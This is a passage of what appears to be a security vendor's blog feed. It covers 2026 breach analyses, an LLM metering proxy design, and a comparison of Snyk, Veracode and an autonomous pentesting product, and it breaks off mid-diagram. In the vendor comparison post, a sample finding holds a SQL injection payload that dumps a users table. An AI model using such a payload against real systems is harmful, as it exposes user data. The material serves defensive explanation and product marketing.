<p>Those open questions carry weight. Azure Personal Access Tokens carry the same permissions as the developer account that generated them. A valid PAT can read repositories, trigger pipeline runs, push commits, and in some configurations access adjacent Azure services without any additional authentication step. If any token in the archive was still live when the data left Accenture&#39;s environment, the exposure extended to every Azure DevOps organization or project that token was scoped to reach. Two things in the reporting are worth pulling apart.</p>
<h2>What scanners would have missed</h2>
<p>The failure mode here is not obscure. Secrets committed to version control are a documented class of finding. Many SAST tools scan for patterns matching private keys, tokens, and connection strings. Most would have produced a result on this codebase.</p>
<p>The problem is what that result looks like. A SAST scanner flags a hardcoded Azure PAT with a severity score derived from pattern characteristics, not from the token&#39;s actual scope or validity. The finding says: &quot;Hardcoded credential detected. Severity: Medium.&quot; Four things it does not say:</p>
<ol>
<li>Whether the token is still active.</li>
<li>What Azure DevOps organization the token is scoped to.</li>
<li>Whether that scope includes external client repositories.</li>
<li>What an attacker could do next with a live token of that scope.</li>
</ol>
<p>That gap between detection and exploitability is where this kind of breach lives. A triage team reviewing a medium-severity hardcoded-credential finding has no immediate reason to escalate it above the queue of CVEs from the weekly SCA scan. The finding sits. The token stays live. Someone outside the organization finds it first.</p>
<p>DAST does not close the gap. Dynamic scans target running applications, not version control systems. SCA tools scan for known-vulnerable packages, not cloud credentials embedded in configuration files. The tool-scope mismatch is not a failure of execution. It is structural.</p>
<h2>What Sekura would have shown</h2>
<p>In Sekura&#39;s pipeline, Phase 1 is white-box SAST. An agent reads source code and configuration files across the full repository surface, including files that are often excluded from production scanning: development configs, CI pipeline definitions, test harnesses, and internal tooling repos. It flags pattern matches for private keys, API tokens, and cloud credentials.</p>
<p>That starting point is the same as a conventional SAST scanner. The difference begins at Phase 3: dynamic probing. At that phase, Sekura&#39;s agents take the credential artifacts surfaced by Phase 1 and validate them against the live environment. For an Azure PAT, that means calling the Azure DevOps REST API with the token and returning exactly what it can do.</p>
<p>The resulting finding does not say &quot;Hardcoded credential. Severity: Medium.&quot; It says: this PAT is valid, scoped to org X, has contributor-level access to three repositories, and a dry-run pipeline execution against a sandboxed endpoint confirmed write access. That is what proof-first looks like for this class of finding. A working demonstration, not a probability estimate.</p>
<pre><code class="language-mermaid">sequenceDiagram
  participant SAST as Phase 1 SAST
  participant Probe as Phase 3 Probing
  participant AzDO as Azure DevOps API
  SAST-&gt;&gt;Probe: flagged Azure PAT in config file
  Probe-&gt;&gt;AzDO: GET /organizations
  AzDO--&gt;&gt;Probe: 200 OK, org list returned
  Probe-&gt;&gt;AzDO: POST /pipelines/run
  AzDO--&gt;&gt;Probe: 200 OK, pipeline queued
  Probe--&gt;&gt;SAST: live PAT, write access confirmed, proof attached
</code></pre>
<h2>The bigger pattern</h2>
<p>Secrets in source control is not a new problem. It is a scaling problem. As organizations grow their Azure DevOps footprints, the number of repositories, service accounts, and long-lived tokens all increase faster than the processes designed to manage them.</p>
<p>Professional services firms carry an added surface. Their repositories often hold code written for clients, configuration shared across engagements, and tokens generated for CI pipelines that were not decommissioned after a project closed. A breach in that environment does not stay inside the firm&#39;s boundary.</p>
<p>I think the pattern visible in 2026 is that organizations with mature SAST programs still get breached through this class of finding because detection without validation produces a queue of work no one knows how to prioritize. The findings are there. The proof is not.</p>
<p>If you want to see what proof-first looks like on your own repository surface, <a href="https://sekura.ai/vs/scanners/">see how Sekura compares to conventional scanners</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>What the Sekura LLM proxy never sees</title>
    <link>https://sekura.ai/blog/proxy-architecture/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/proxy-architecture/</guid>
    <pubDate>Fri, 03 Jul 2026 08:00:00 +0000</pubDate>
    <description>Sekura routes LLM API calls through proxy.sekura.ai for billing and metering. Your source code, prompts, and findings never cross the proxy. Here is how the architecture works and why it matters for IP-sensitive teams.</description>
    <content:encoded><![CDATA[<p>Metering is not snooping.</p>
<p>The Sekura platform uses a dedicated LLM proxy at <code>proxy.sekura.ai</code>. The name sounds intrusive. It is not. The proxy&#39;s job is to count tokens and enforce billing limits. Your source code never crosses it.</p>
<h2>What the proxy does</h2>
<p>The proxy sits between our AI agents and the LLM provider APIs. When an agent calls a foundation model, that call routes through <code>proxy.sekura.ai</code>. The proxy captures four things and nothing else:</p>
<ol>
<li>The requesting agent identifier</li>
<li>The number of input tokens sent to the model</li>
<li>The number of output tokens returned by the model</li>
<li>The model name, the timestamp, and the scan identifier</li>
</ol>
<p>That is the complete list. The proxy does not log request bodies. It does not store prompts. It does not see your code, your findings, or your exploit chains.</p>
<p>Token counts are what we need for billing. They tell us how much compute a scan consumed. They are enough to generate an accurate invoice without touching the content that produced them. We designed it this way on purpose.</p>
<h2>What never crosses the proxy</h2>
<p>Your source code travels directly from the GitHub Actions runner to the LLM provider. It does not route through <code>proxy.sekura.ai</code>. The same is true for scan findings, exploit payloads, and any data your application exposes during dynamic probing.</p>
<p>I think this is the design decision that surprises most customers. The instinct is to assume a proxy sees everything it touches. Ours sees almost nothing. We separated the metering concern from the data concern because they belong in different trust zones.</p>
<p>The categories of data that never touch the proxy:</p>
<ol>
<li>Source files checked out by the GitHub Actions runner</li>
<li>Agent prompts and the full LLM responses, including exploit synthesis output</li>
<li>Scan findings and proof-of-exploit artifacts</li>
<li>Runtime application data captured during dynamic probing phases</li>
</ol>
<p>The LLM provider receives the actual API calls with your code in the payload. We receive only token counts. Those are different parties, different agreements, and different data.</p>
<h2>How the call flow works</h2>
<p>The sequence below shows where <code>proxy.sekura.ai</code> sits relative to your code and the LLM provider.</p>
<pre><code class="language-mermaid">sequenceDiagram
    participant Runner as GitHub Actions Runner
    participant Agent as Sekura Agent
    participant Proxy as proxy.sekura.ai
    participant LLM as LLM Provider API

    Runner-&gt;&gt;Agent: Starts scan (source checkout in local context)
    Agent-&gt;&gt;Proxy: POST /meter/start (agent_id, model, scan_id)
    Proxy--&gt;&gt;Agent: Authorization token + request_id
    Agent-&gt;&gt;LLM: API call (auth token in header, source code in body)
    LLM--&gt;&gt;Agent: Model response (findings, exploit candidates)
    Agent-&gt;&gt;Proxy: POST /meter/complete (request_id, input_tokens, output_tokens)
    Proxy--&gt;&gt;Agent: Acknowledgement
    Agent-&gt;&gt;Runner: Writes findings to local runner context
</code></pre>
<p>The proxy sees two lightweight metadata messages per LLM call. The LLM provider sees the full API call, including your code. Your findings stay inside the runner after the response returns. They are never sent back through the proxy.</p>
<p>The separation is structural, not a policy setting you have to configure. There is no option to route source code through the proxy because the proxy was never built to carry it.</p>
<h2>The metering log schema</h2>
<p>For teams that need to audit what the proxy stores, here is the exact schema of a metering record:</p>
<pre><code class="language-json">{
  &quot;request_id&quot;:     &quot;req_01j7z3m2k9x5w8p4n6q&quot;,
  &quot;agent_id&quot;:       &quot;sast-agent-v3&quot;,
  &quot;model&quot;:          &quot;claude-sonnet-5&quot;,
  &quot;timestamp&quot;:      &quot;2026-07-03T08:14:22Z&quot;,
  &quot;input_tokens&quot;:   4812,
  &quot;output_tokens&quot;:  389,
  &quot;latency_ms&quot;:     1240,
  &quot;scan_id&quot;:        &quot;scan_sekura_8k3p7&quot;,
  &quot;customer_id&quot;:    &quot;cust_a9f7e2&quot;
}
</code></pre>
<p>No prompt text. No file paths. No code snippets. The schema is intentionally narrow. Every field serves billing, rate limiting, or latency monitoring. Nothing else fit the schema and stayed in the schema.</p>
<h2>Why this matters for IP-sensitive teams</h2>
<p>I believe the cleanest architecture for sensitive workloads keeps data flows minimal. Every intermediate service is a place where data can be logged, breached, or compelled by legal process. Removing a hop removes that exposure surface.</p>
<p>The LLM providers we use operate under data processing agreements that, in most enterprise configurations, explicitly prohibit training on customer content. That agreement is between you and the provider. The proxy does not change it, alter it, or introduce a new party into the chain.</p>
<p>For teams running Sekura in enterprise distribution mode, the architecture is stricter still. The agents run entirely inside your firewall. The <code>proxy.sekura.ai</code> endpoint is replaced by an internal metering service on your own network. No data, no metadata, no request counts leave your perimeter during a scan.</p>
<p>You can verify the proxy&#39;s behavior in the Sekura dashboard. Every token count for every scan is visible, per agent, per model call. You will not find source code in those records. It was never there to find.</p>
<p>Security claims are easy to make. The architecture is what makes them checkable. <a href="https://sekura.ai/product/">Read how Sekura handles your source code end-to-end at /product/.</a></p>
]]></content:encoded>
  </item>
  <item>
    <title>KDDI breach exposes 14 million ISP credentials</title>
    <link>https://sekura.ai/blog/breach-kddi-2026-07/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-kddi-2026-07/</guid>
    <pubDate>Thu, 02 Jul 2026 08:00:00 +0000</pubDate>
    <description>KDDI's centralized email platform for six Japanese ISPs was breached in June 2026, with up to 14.22 million email addresses and passwords potentially exposed via a third-party software flaw.</description>
    <content:encoded><![CDATA[<p>KDDI Corporation disclosed on June 23 that attackers exploited a vulnerability in third-party software to breach the centralized email platform it operates for six Japanese internet service providers, putting credentials belonging to up to 14.22 million accounts at risk.</p>
<p>The company detected unauthorized access on June 17 and cut off the attackers the same day. KDDI notified Japan&#39;s Personal Information Protection Commission and the Ministry of Internal Affairs and Communications immediately. <a href="https://www.bleepingcomputer.com/news/security/data-breach-exposes-up-to-142-million-email-logins-at-six-isps/">BleepingComputer reported</a> that affected providers include NIFTY, BIGLOBE, J:COM, STNet, Commufa, and KDDI Web Communications, all of which run their email services on KDDI&#39;s shared backend. Email addresses and passwords were potentially obtained. KDDI confirmed that passwords were stored in hashed or encrypted form, though the company did not specify the algorithm used or what proportion of credentials may have been stored in a weaker form.</p>
<p>The 14.22 million figure covers current subscribers, former customers, and dormant accounts. The specific third-party software component was not named in KDDI&#39;s public disclosures. KDDI urged all affected users to change their email passwords immediately. <a href="https://securityaffairs.com/194387/data-breach/kddi-data-breach-impacts-up-to-14-2-million-email-accounts-at-six-isps.html">SecurityAffairs noted</a> that the attack maps to MITRE ATT&amp;CK technique T1190, exploiting a public-facing application.</p>
<p>Two things are worth pulling out of the reporting.</p>
<h2>What scanners would have missed</h2>
<p>The entry point was a vulnerability in a vendor-supplied component running inside KDDI&#39;s shared email platform. That creates a specific blind spot for conventional security tooling.</p>
<p>SAST scans your source code. It does not scan the third-party software your vendor ships. DAST probes your own web application endpoints. It does not test the internal platform components a managed-service provider runs on your behalf. When the vulnerable software is something the ISP partners never wrote and cannot inspect, neither scan type touches it.</p>
<p>There is a second problem: scope. A CVSS score on the underlying vulnerability would not have conveyed what the blast radius actually was. A medium-severity finding in an email server library means one thing when it affects a single organization&#39;s inbox. It means something different when the same library is the authentication backend for six ISPs sharing a common platform. Severity scores are computed against the vulnerability in isolation. They do not model multi-tenant scope.</p>
<p>The structural gap here is familiar. Managed email services, hosted identity platforms, and outsourced communication infrastructure all create the same situation: multiple organizations sit behind a shared technical layer, and security responsibility for that layer is ambiguous. The ISPs assumed KDDI secured it. KDDI operated third-party software it did not develop.</p>
<p>A scanner pointed at any of the six ISPs would have found nothing wrong. The vulnerability did not live in their systems.</p>
<h2>What Sekura would have shown</h2>
<p>Sekura&#39;s recon phase builds the full attack surface before dynamic testing begins. For an organization like KDDI, that means including the infrastructure it operates on behalf of others.</p>
<p>Recon would have identified that the same email backend serves six separate ISP domains. It would have fingerprinted the third-party software components in that shared layer. And it would have computed the combined scope: a finding in the shared authentication layer is not a finding against one ISP, it is a finding against all six.</p>
<p>That scope calculation changes how findings are triaged. Here is how the output of recon flows into exploit-chain analysis for a case like this:</p>
<ol>
<li>Shared platform confirmed: six tenants, single authentication backend.</li>
<li>Third-party email server software identified and version-pinned.</li>
<li>Known vulnerability class detected in the public-facing authentication handler.</li>
<li>Combined exposed scope: 14.2 million accounts across all tenants.</li>
<li>Priority elevated above single-tenant findings with higher individual CVSS scores.</li>
</ol>
<p>Phase 3, dynamic probing, would then target the email platform&#39;s authentication endpoints specifically. The resulting report would not assign a CVSS score to the finding in isolation. It would show a working proof of access together with the recon-derived tenant scope, so the finding&#39;s real weight is legible without interpretation.</p>
<p>I think this is the core difference between score and proof. The score lives inside the vulnerability. The proof, paired with the recon scope, shows what an attacker can actually do with it.</p>
<h2>The bigger pattern</h2>
<p>This is a shared-infrastructure breach. One flaw in one platform component simultaneously exposed credentials at six separate organizations. The ISPs did not each get breached. The centralized platform got breached, and the consolidation multiplied the blast radius without any additional attacker effort.</p>
<p>This pattern repeats across managed services. Hosted email, cloud identity providers, SaaS payment processors, outsourced HR platforms: all create the same structure, where many organizations depend on a single shared technical layer that may fall outside any individual tenant&#39;s security scope.</p>
<p>Assessments tend to stay inside the customer&#39;s perimeter. Attackers work on the asset&#39;s actual architecture.</p>
<p>If you want to see how proof-first recon maps the full blast radius on your own infrastructure, <a href="https://sekura.ai/vs/scanners/">compare what Sekura finds versus what scanners report</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>Most High Severity Findings Are Never Exploitable</title>
    <link>https://sekura.ai/blog/false-positive-economics/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/false-positive-economics/</guid>
    <pubDate>Fri, 26 Jun 2026 08:00:00 +0000</pubDate>
    <description>Severity-based scanners score vulnerabilities in isolation and miss reachability entirely. Most high-severity alerts point to code paths attackers cannot actually reach. Here is the data and what changes when you scan for proof instead.</description>
    <content:encoded><![CDATA[<p>Most vulnerability scanners are not wrong. They are just answering a different question than the one you need answered.</p>
<p>A scanner&#39;s job, as traditionally defined, is to flag every location in your codebase where a known-vulnerable pattern or dependency exists. That task is tractable. Determining whether that pattern is actually reachable, callable, and exploitable in your specific running application is much harder. Most scanners do not attempt it.</p>
<h2>Why Your Alert Queue Fills With Noise</h2>
<p>The typical production codebase generates between 300 and 1,000 CVSS &quot;high&quot; or &quot;critical&quot; findings per release cycle. Research by Kula et al. showed that over 80% of vulnerable library functions in real Java projects are never called by the application that depends on them. Veracode&#39;s State of Software Security data shows median time-to-remediation for critical findings is measured in months, because teams cannot separate real issues from theoretical ones.</p>
<p>This is not laziness. It is a structural problem. Your scanner cannot tell you whether the vulnerable <code>deserialize()</code> method in <code>commons-text-1.9.0</code> is reachable through any call chain in your application. It tells you the library is present and the version is flagged.</p>
<p>CVSS does not resolve this. CVSS scores severity of the vulnerability in isolation from your code. A CVSS 9.8 in a dependency you never invoke is, practically speaking, not a vulnerability in your application.</p>
<h2>The False Positive Rate You Are Paying For</h2>
<p>False positive rate, in this context, is the fraction of scanner alerts that represent findings a real attacker could not exploit in your deployed application. This number is not published by most scanner vendors.</p>
<p>Internal measurements on production codebases put it between 60% and 85%. Other published research lands in the same range. That means for every 10 &quot;critical&quot; alerts, six to eight go nowhere.</p>
<p>The triage cost is real. A security engineer spending 30 minutes per finding, processing 500 findings per month, spends 250 hours. At a fully loaded cost of $150 per hour, that is $37,500 per month spent on labor that reduces no actual risk.</p>
<p>I think that is the real price of severity-based scanning. Not the license fee. The engineering time.</p>
<h2>How Reachability Analysis Changes the Problem</h2>
<p>Reachability analysis starts with a different question: can an attacker reach this code path through any input surface in the deployed application?</p>
<p>Answering it requires more than pattern matching. The steps are:</p>
<ol>
<li>Build the actual call graph of the application, not just the dependency tree.</li>
<li>Identify which function entry points are reachable from external input surfaces: HTTP handlers, message queues, file parsers, RPC endpoints.</li>
<li>Trace whether the vulnerable code path can be triggered by attacker-controlled input given actual data flow.</li>
<li>Attempt to synthesize a working exploit, not a theoretical payload schema.</li>
<li>Report only findings where that synthesis succeeds.</li>
</ol>
<p>The difference between &quot;this function exists in a library you use&quot; and &quot;we constructed an HTTP request that reaches this function and triggers the vulnerability&quot; is the difference between probability and proof.</p>
<pre><code class="language-mermaid">flowchart TD
    A[Dependency CVE found by SAST] --&gt; B{Vulnerable function imported?}
    B -- No --&gt; C[Discard: not reachable]
    B -- Yes --&gt; D{Called from external entry point?}
    D -- No --&gt; C
    D -- Yes --&gt; E{Attacker input can reach call?}
    E -- No --&gt; C
    E -- Yes --&gt; F[Exploit synthesis phase]
    F -- Synthesis fails --&gt; G[Discard: hypothesis only]
    F -- Synthesis succeeds --&gt; H[Report with working proof-of-exploit]
</code></pre>
<p>Most findings exit through node C. That is by design, not by oversight.</p>
<h2>What a Collapsed Triage Queue Looks Like</h2>
<p>Proof-first scanning changes the output, not just the volume. Instead of 500 findings with mixed CVSS scores, you receive a small set of confirmed findings, each with an attached working exploit payload.</p>
<p>I believe that changes how teams operate at a fundamental level. You stop triaging and start fixing things that are definitively broken.</p>
<p>Sekura runs seven phases: white-box SAST, recon, dynamic probing, exploit synthesis, exploit-chain analysis, post-quantum cryptography review, and reporting. A finding reaches the report only if the exploit synthesis phase produces a working proof. If synthesis fails, the hypothesis is discarded.</p>
<p>Your engineers receive a PR comment with a concrete payload, not a ticket with a score. They patch, push, and the scan reruns. The feedback loop is tight.</p>
<p>Scanning has existed for 25 years. The field has spent most of that time optimizing for recall: surface everything that might be a problem. The next phase is about precision: report only what is actually a problem. The scanner that sends you 500 tickets is not more thorough than one that sends you 12. It is less honest about what it actually knows.</p>
<p>If you want to run a proof-first scan against your own codebase, start at <a href="https://sekura.ai/poc/">/poc/</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>Klue OAuth Breach Hits Nine Technology Firms</title>
    <link>https://sekura.ai/blog/breach-klue-2026-06/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-klue-2026-06/</guid>
    <pubDate>Thu, 25 Jun 2026 08:00:00 +0000</pubDate>
    <description>A dormant Klue service account credential gave the Icarus group access to Salesforce CRM data at HackerOne, Huntress, OneTrust, Snyk, and at least five other technology firms in June 2026.</description>
    <content:encoded><![CDATA[<p>A dormant service account credential at market intelligence platform Klue gave the Icarus extortion group access to Salesforce CRM environments at nine named technology companies, several of which sell security products.</p>
<p>On June 11, 2026, attackers used a legacy credential tied to a service account originally created for a decommissioned third-party integration prototype. Using that foothold inside Klue&#39;s infrastructure, they pushed a malicious code update to production that harvested OAuth tokens. Those tokens authorized Klue&#39;s connections to customers&#39; Salesforce, HubSpot, SharePoint, Zoom, Gong, Chorus, Clari, Google Drive, and Slack instances. Klue identified the access on June 12, revoked the affected credentials, and notified customers the same day.</p>
<p><a href="https://www.bleepingcomputer.com/news/security/klue-oauth-breach-linked-to-icarus-salesforce-data-theft-attacks/">BleepingComputer reported</a> that Icarus claimed the attack publicly on June 19, listing confirmed victims on its extortion site: HackerOne, Huntress, Jamf, OneTrust, Recorded Future, Snyk, Sprout Social, Insurity, and Tanium. SecurityWeek subsequently reported that BeyondTrust and LastPass were also affected. Salesforce disabled the Klue Battlecards integration across its platform pending investigation. Icarus, a ransomware and extortion group that emerged in April 2026, threatened public release of the stolen data unless Klue paid a ransom.</p>
<p>Stolen data varied by organization and included CRM contacts, price quotes, competitive intelligence reports, sales communications, and internal licensed-user lists. Klue stated it found no evidence of access to production customer data beyond what was connected through the harvested OAuth tokens. Two aspects of this incident are worth examining closely.</p>
<h2>What scanners would have missed</h2>
<p>The initial access point here was not a software vulnerability. No CVE. No known-vulnerable package. The entry was a service account credential that outlived the integration it was created for, with production write access still intact.</p>
<p>Here is what four standard tooling categories would have returned on that:</p>
<ol>
<li>SAST: Scanned Klue&#39;s codebase for injection sinks, unsafe deserialization, and path traversal. A service account&#39;s retained permissions are not a code pattern. Nothing flagged.</li>
<li>DAST: Probed Klue&#39;s external API for authentication bypass and access-control weaknesses. DAST sees the running application from the outside. It does not model the internal trust relationship that allows a service account to push production code updates.</li>
<li>SCA: Found no known-vulnerable third-party packages, because there were none in this path.</li>
<li>CVSS: A stale service account with retained write access lands somewhere in the medium range on base scoring. It requires authenticated access, so attack complexity is non-trivial. CVSS does not compose what that access enables: a code push that harvests OAuth tokens for nine external organizations in a single operation.</li>
</ol>
<p>Scanners score individual findings. They do not chain those findings into attack paths. That gap is where this incident lived.</p>
<h2>What Sekura would have shown</h2>
<p>Sekura&#39;s Phase 5 (exploit-chain analysis) is where this attack surface becomes concrete.</p>
<p>Phase 2 (recon) would have enumerated Klue&#39;s service accounts, their associated permissions, and their last-used timestamps, surfacing the dormant integration account as a candidate finding. Phase 3 (dynamic probing) would have confirmed that the credential remained valid against the authentication endpoint. From those two findings, Phase 5 would have synthesized the full chain:</p>
<pre><code class="language-mermaid">sequenceDiagram
  participant A as Icarus
  participant SA as Dormant Service Account
  participant Prod as Klue Production
  participant Tok as OAuth Token Store
  participant SF as Customer Salesforce
  A-&gt;&gt;SA: authenticate with legacy credential
  SA-&gt;&gt;Prod: push malicious code update
  Prod-&gt;&gt;Tok: code harvests stored OAuth tokens
  A-&gt;&gt;SF: present harvested OAuth token
  SF--&gt;&gt;A: CRM data returned
</code></pre>
<p>The exploit-chain agent would have produced a finding showing that the service account&#39;s write access to the production deployment pipeline creates a path to customer OAuth tokens, and from there to confidential data in eleven external SaaS environments. The severity of that finding is not derived from the credential itself. It comes from the chain: one stale key, one code push, eleven confirmed victims.</p>
<p>I think this is the distinction that matters. A credential lifecycle audit tells you a service account is stale. Exploit-chain analysis tells you what an attacker can build on top of that staleness.</p>
<h2>The bigger pattern</h2>
<p>This is a supply chain attack through integration surface area. Klue had no vulnerability in its core product. The failure was in the lifecycle of a single service account that accumulated persistent write access over time and was never cleaned up.</p>
<p>Every SaaS platform that offers customer integrations accumulates this kind of residual access: API keys, OAuth grants, service accounts, webhook credentials. Each decommissioned integration that leaves a credential behind is a potential entry point. The Icarus group did not need a zero-day. It needed one valid key and production write access to Klue&#39;s deployment pipeline.</p>
<p>The blast radius is the more significant detail. One vendor, one credential, eleven named organizations, and data spanning CRM contacts, competitive intelligence, pricing, and internal user lists. That multiplier is why integration surface area has become a recurring attack vector in 2026.</p>
<p>If you want to see what this chain looks like against your own integration layer, <a href="https://sekura.ai/vs/scanners/">compare what we surface versus traditional scanners</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>Snyk, Veracode and Sekura: Three Different Jobs</title>
    <link>https://sekura.ai/blog/vs-snyk-vs-veracode/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/vs-snyk-vs-veracode/</guid>
    <pubDate>Fri, 19 Jun 2026 08:00:00 +0000</pubDate>
    <description>Dependency scanners and SAST tools do detection. Autonomous pentesting does exploitation. These are different jobs. Here is a framework for choosing between Snyk, Veracode and Sekura.</description>
    <content:encoded><![CDATA[<p>Three tools appear on the same security RFP shortlists. They are solving different problems.</p>
<h2>Snyk: Dependency Coverage at Scale</h2>
<p>Snyk is a software composition analysis (SCA) tool. It reads your <code>package.json</code>, <code>requirements.txt</code>, <code>pom.xml</code>, or <code>go.sum</code> and tells you which third-party packages carry known CVEs.</p>
<p>This is genuinely useful work. Open-source dependencies are a major attack surface. Log4Shell (CVE-2021-44228) spread through Java applications precisely because teams did not know which of their services pulled in a vulnerable <code>log4j</code> version. Snyk would have caught that.</p>
<p>The scope of what Snyk answers is specific. It knows about the dependency. It does not know whether the vulnerable function in that dependency is actually called in your code. It does not know whether your network topology exposes the package. It does not run any exploit.</p>
<p>Snyk is the right tool when:</p>
<ol>
<li>You need a continuous inventory of which packages your applications pull in.</li>
<li>You want automated alerts when a new CVE affects a package you already use.</li>
<li>Your engineering team wants fix suggestions integrated directly into pull requests.</li>
</ol>
<h2>Veracode: SAST for Code Pattern Coverage</h2>
<p>Veracode is a static application security testing (SAST) platform. It parses your source code and traces data flows to identify patterns that match known vulnerability classes: SQL injection, cross-site scripting, command injection, and around forty other CWE categories.</p>
<p>The analysis can be thorough. Veracode tracks tainted data across function calls and module boundaries. It supports Java, .NET, Python, JavaScript, Go, and more. Its CWE coverage is broad. It integrates into most CI pipelines.</p>
<p>The limitation is structural. Static analysis reasons about code as text. It does not run your application. It cannot tell you whether the SQL injection it flagged is in a code path that is actually reachable from the internet, or whether your WAF blocks it, or whether the input is sanitized three function calls upstream. False positive rates in enterprise SAST deployments typically run between 40% and 80%. Your team ends up triaging findings rather than fixing them.</p>
<p>Veracode makes sense when:</p>
<ol>
<li>A compliance framework (SOC 2, FedRAMP, PCI DSS) requires evidence of code-level security review.</li>
<li>You want a systematic catalog of potential vulnerability classes across your entire codebase.</li>
<li>You have dedicated AppSec capacity to manage the triage queue that comes with it.</li>
</ol>
<h2>Sekura: Confirmed Exploitability</h2>
<p>Sekura is an autonomous penetration testing platform. We do not scan for patterns. We try to exploit your application.</p>
<p>The pipeline runs seven phases: white-box SAST, recon, dynamic probing, exploit synthesis, exploit-chain analysis, post-quantum cryptography review, and reporting. Every finding in the final report is a confirmed exploit. If Sekura cannot exploit a hypothesis, it does not appear in the report.</p>
<p>This is a strict constraint. You do not get a list of things that might be problems. You get a list of things that are problems.</p>
<p>Here is what a confirmed finding looks like in the output:</p>
<pre><code class="language-text">Finding:  SQL Injection in /api/orders
Method:   POST /api/orders
Payload:  {&quot;order_id&quot;: &quot;1 UNION SELECT * FROM users; --&quot;}
Evidence: HTTP 200, full user table returned (847 rows)
Status:   CONFIRMED EXPLOITABLE
CVSS:     9.1
</code></pre>
<p>That is not a guess. That is a working exploit, ready for your remediation team.</p>
<h2>How to Choose</h2>
<p>These tools are not substitutes. Each answers a different question.</p>
<pre><code class="language-mermaid">flowchart TD
    A[Security concern] --&gt; B{What do you need to know?}
    B --&gt; C[Which dependencies have known CVEs?]
    B --&gt; D[Does my code match vulnerability patterns?]
    B --&gt; E[Can an attacker actually compromise my app?]
    C --&gt; F[Snyk]
    D --&gt; G[Veracode]
    E --&gt; H[Sekura]
</code></pre>
<p>Here is a practical framework for tooling decisions:</p>
<ol>
<li>Use Snyk if your primary concern is open-source dependency hygiene and CVE tracking.</li>
<li>Use Veracode if you need compliance evidence from code-level security scanning.</li>
<li>Use Sekura if you want to know what an attacker can actually do to your application today.</li>
<li>Use all three if your risk tolerance justifies it. They stack; they do not conflict.</li>
</ol>
<p>I think the industry conflates detection with exploitation because detection tools are older, more familiar, and significantly cheaper. But a CVE in a package you depend on does not mean you are exploitable. And a clean SAST report does not mean you are safe. The only way to answer the exploitation question is to try.</p>
<p>Organizations with mature SAST and SCA programs still get breached. The exploited vulnerability is usually absent from any scanner report. It is a logic flaw, a misconfigured access control, or a chain of individually low-severity findings that combine into a critical one. Static analysis cannot see those. Autonomous pentesting can.</p>
<p>The security industry is still calibrating what it means to know you are secure. Running a scan is not the same as running a test.</p>
<p>See what Sekura confirms in your environment at <a href="https://sekura.ai/poc/">/poc/</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>Council of Europe breach via Oracle PeopleSoft zero-day</title>
    <link>https://sekura.ai/blog/breach-council-of-europe-2026-06/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-council-of-europe-2026-06/</guid>
    <pubDate>Thu, 18 Jun 2026 08:00:00 +0000</pubDate>
    <description>ShinyHunters claimed on June 14 to have stolen 297 GB from the Council of Europe via CVE-2026-35273, a zero-day in Oracle PeopleSoft, exposing payroll records and medical data for over 10,000 employees.</description>
    <content:encoded><![CDATA[<p>ShinyHunters claimed last week to have exfiltrated 297 GB of data from the Council of Europe by exploiting a zero-day vulnerability in Oracle PeopleSoft.</p>
<p>On June 14, the extortion group posted online that it had breached three Council of Europe entities: the Secretariat, the European Directorate for the Quality of Medicines, and the Parliamentary Assembly. The group says the dataset contains 429,000 files spanning records from 2011 to 2026. According to <a href="https://www.bleepingcomputer.com/news/security/council-of-europe-investigates-shinyhunters-data-breach-claims/">BleepingComputer&#39;s reporting</a>, the files include more than 409,000 payslips, 3,700 personnel files, and 14,000 CVs, plus records containing names, dates of birth, home addresses, phone numbers, employee IDs, salaries, bank account details, and medical records for over 10,000 current and former employees, contractors, and job applicants.</p>
<p>ShinyHunters set a deadline of June 16 for the Council to make contact before releasing the data publicly. <a href="https://www.securityweek.com/shinyhunters-claims-council-of-europe-hack/">SecurityWeek reported</a> that the Council said it was &quot;investigating the matter and assessing the situation.&quot; No ransom figure was disclosed.</p>
<p>The group claims the entry point was CVE-2026-35273, a zero-day in Oracle PeopleSoft, the HR and workforce platform the Secretariat runs. PeopleSoft self-service portals are routinely internet-facing so staff can reach payroll and personal records from outside the office. That exposure is standard. What matters is what the authentication layer looked like from an external probe. Two things stand out in the technical reporting.</p>
<h2>What scanners would have missed</h2>
<p>Standard scanners address three attack surfaces:</p>
<ol>
<li>Custom application code (SAST)</li>
<li>Open source dependencies (SCA)</li>
<li>Web endpoint behaviors (DAST)</li>
</ol>
<p>PeopleSoft&#39;s session initialisation logic does not fit any of them.</p>
<p>SAST tools run against code your team writes. PeopleSoft&#39;s authentication layer is vendor code; you do not have the source. SCA tools flag the libraries you imported; PeopleSoft is not a package in your dependency tree. DAST tools probe HTTP endpoints for known-bad inputs. A DAST tool aimed at a PeopleSoft login page will confirm that TLS is present and the form submits over HTTPS. It will not understand the state machine inside the session handshake, which is where CVE-2026-35273 reportedly lives.</p>
<p>Before the CVE was assigned, no scanner had a signature for it. After publication, the CVSS base score joins a triage queue. A team carrying a hundred open scanner alerts, many on code paths that external attackers cannot reach, will weigh a PeopleSoft advisory against the backlog and schedule a patch window. The score is identical whether the vulnerable endpoint is internal-only or internet-facing with payroll and medical records for ten thousand people behind it. Reachability does not appear in the base score.</p>
<p>That is the gap. The score does not know what is reachable. The scanners do not cover the platform at all.</p>
<h2>What Sekura would have shown</h2>
<p>Sekura&#39;s Phase 3 (dynamic probing) would have produced a finding on this attack surface without a CVE signature in the database.</p>
<p>Phase 2 (recon) would fingerprint the externally reachable PeopleSoft portal first. The portal&#39;s HTTP response headers, URL path structure, and session token format identify it as PeopleSoft to a trained probe. We flag it as a high-interest target: internet-facing, authentication-gated, HR data store behind it.</p>
<p>Phase 3 then tests the authentication boundary directly. It does not reference a CVE list. It issues sequences of crafted requests against the session initialisation flow, varying token structure, request ordering, and parameter encoding, then records how the application responds to each variant. An authentication bypass of the type described in CVE-2026-35273 produces a characteristic signal: session tokens issued before credential verification completes, or diverging response codes depending on which step in the handshake is dropped.</p>
<pre><code class="language-mermaid">sequenceDiagram
  participant Probe as Sekura Probe Agent
  participant PS as PeopleSoft Portal
